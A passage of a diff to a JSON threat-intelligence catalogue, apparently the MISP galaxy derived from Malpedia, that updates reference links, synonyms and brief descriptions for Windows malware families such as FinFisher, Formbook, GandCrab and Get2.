"https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/" ], @@ -17731,20 +21315,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher", - "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", + "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", + "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", + "https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", "https://securelist.com/finspy-unseen-findings/104322/", "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "https://github.com/RolfRolles/FinSpyVM", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization" ], "synonyms": [ "FinSpy" @@ -17780,6 +21371,20 @@ "uuid": "0d63d92b-6d4d-470d-9f13-acce0c76911c", "value": "FireBird RAT" }, + { + "description": "The purpose of this rootkit/driver is hiding and protecting malicious artifacts from user-mode components(e.g. files, processes, registry keys and network connections).\r\nAccording to Fortguard Labs, this malware uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations, why this malware has to rely on specific OS builds.\r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili", + "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", + "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits" + ], + "synonyms": [], + "type": [] + }, + "uuid": "762ea155-1cec-4c67-9c4f-7e8f4c21e19e", + "value": "Fire Chili" + }, { "description": "", "meta": { @@ -17824,19 +21429,45 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/", "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" + "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/" + ], + "synonyms": [ + "Thieflock" ], - "synonyms": [], "type": [] }, "uuid": "4d0dc7a3-07bf-4cb9-ba86-c7f154c6b678", "value": "FiveHands" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro", + "https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/", + "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", + "https://vblocalhost.com/uploads/VB2021-50.pdf", + "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" + ], + "synonyms": [ + "BUSYICE" + ], + "type": [] + }, + "uuid": "f6b10719-0f7a-45bc-9e47-1406b9966890", + "value": "Flagpro" + }, { "description": "", "meta": { @@ -17845,6 +21476,7 @@ "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", "https://securelist.com/the-flame-questions-and-answers-51/34344/", "https://www.crysys.hu/publications/files/skywiper.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache" @@ -17875,27 +21507,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy", - "https://www.youtube.com/watch?v=N4f2e8Mygag", - "https://habr.com/ru/company/pt/blog/475328/", "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", - "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://attack.mitre.org/software/S0381/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://habr.com/ru/company/pt/blog/475328/", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505/", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", + "https://www.youtube.com/watch?v=N4f2e8Mygag", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/", "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", - "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat" + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/" ], "synonyms": [], "type": [] @@ -17908,13 +21541,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", "https://twitter.com/MsftSecIntel/status/1273359829390655488", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/", "https://www.secureworks.com/research/threat-profiles/gold-tahoe", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", @@ -17965,11 +21602,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowcloud", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", + "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", "https://www.proofpoint.com/us/blog/threat-insight/flowcloud-version-413-malware-analysis", "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", - "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://nao-sec.org/2021/01/royal-road-redive.html" + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape" ], "synonyms": [], "type": [] @@ -17996,7 +21634,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif", - "https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library" + "https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot" ], "synonyms": [], "type": [] @@ -18080,20 +21719,27 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook", "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", - "https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf", + "https://elastic.github.io/security-research/intelligence/2022/01/01.formbook-adopts-cabless-approach/article/", "https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/", "http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html", "https://link.medium.com/uaBiIXgUU8", "https://usualsuspect.re/article/formbook-hiding-in-plain-sight", "https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://www.cyberbit.com/blog/endpoint-security/formbook-research-hints-large-data-theft-attack-brewing/", "https://www.peerlyst.com/posts/how-to-analyse-formbook-a-new-malware-as-a-service-sudhendu?trk=explore_page_resources_recent", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", "https://tccontre.blogspot.com/2020/11/interesting-formbook-crypter.html", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", "https://isc.sans.edu/diary/26806", "https://drive.google.com/file/d/1oxINyIJfMtv_upJqRK9vLSchIBaU8wiU/view", "https://blogs.quickheal.com/formbook-malware-returns-new-variant-uses-steganography-and-in-memory-loading-of-multiple-stages-to-steal-data/", + "https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/", + "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/", + "https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", @@ -18103,18 +21749,20 @@ "https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://www.cyberbit.com/formbook-research-hints-large-data-theft-attack-brewing/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/", + "https://asec.ahnlab.com/en/32149/", + "https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf", "https://www.trendmicro.com/en_us/research/21/i/formbook-adds-latest-office-365-0-day-vulnerability-cve-2021-404.html", "https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii", "http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://youtu.be/aQwnHIlGSBM", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", "http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html", "https://insights.oem.avira.com/a-new-technique-to-analyze-formbook-malware-infections/", "https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I", + "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://blog.talosintelligence.com/2018/06/my-little-formbook.html", "https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html" ], @@ -18131,6 +21779,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://threatvector.cylance.com/en_us/home/breaking-down-ff-rat-malware.html", "https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" ], @@ -18155,6 +21804,19 @@ "uuid": "02caba7c-1820-40a3-94ae-dc89b5662b3e", "value": "FortuneCrypt" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.foxsocket", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "61b35242-0e16-4502-a909-f4fd5e32abcb", + "value": "FoxSocket" + }, { "description": "A RAT employing Node.js, Sails, and Socket.IO to collect information on a target", "meta": { @@ -18190,18 +21852,22 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex", "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", + "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://sites.temple.edu/care/ci-rw-attacks/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", @@ -18210,6 +21876,8 @@ "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", @@ -18259,6 +21927,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" ], @@ -18362,8 +22031,9 @@ "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", - "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", "https://www.wired.com/?p=2171700", + "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://www.lawfareblog.com/what-point-these-nation-state-indictments" ], @@ -18413,33 +22083,40 @@ "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", "http://www.secureworks.com/research/threat-profiles/gold-garden", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", "https://isc.sans.edu/diary/23417", "https://www.secureworks.com/research/threat-profiles/gold-garden", + "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://unit42.paloaltonetworks.com/revil-threat-actors/", "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "http://asec.ahnlab.com/1145", "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://vimeo.com/449849549", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", @@ -18484,7 +22161,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss", - "http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html" + "http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf" ], "synonyms": [], "type": [] @@ -18583,27 +22261,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md", - "https://github.com/Tera0017/TAFOF-Unpacker", - "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", - "https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", - "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.goggleheadedhacker.com/blog/post/13", "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md", + "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672" + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", + 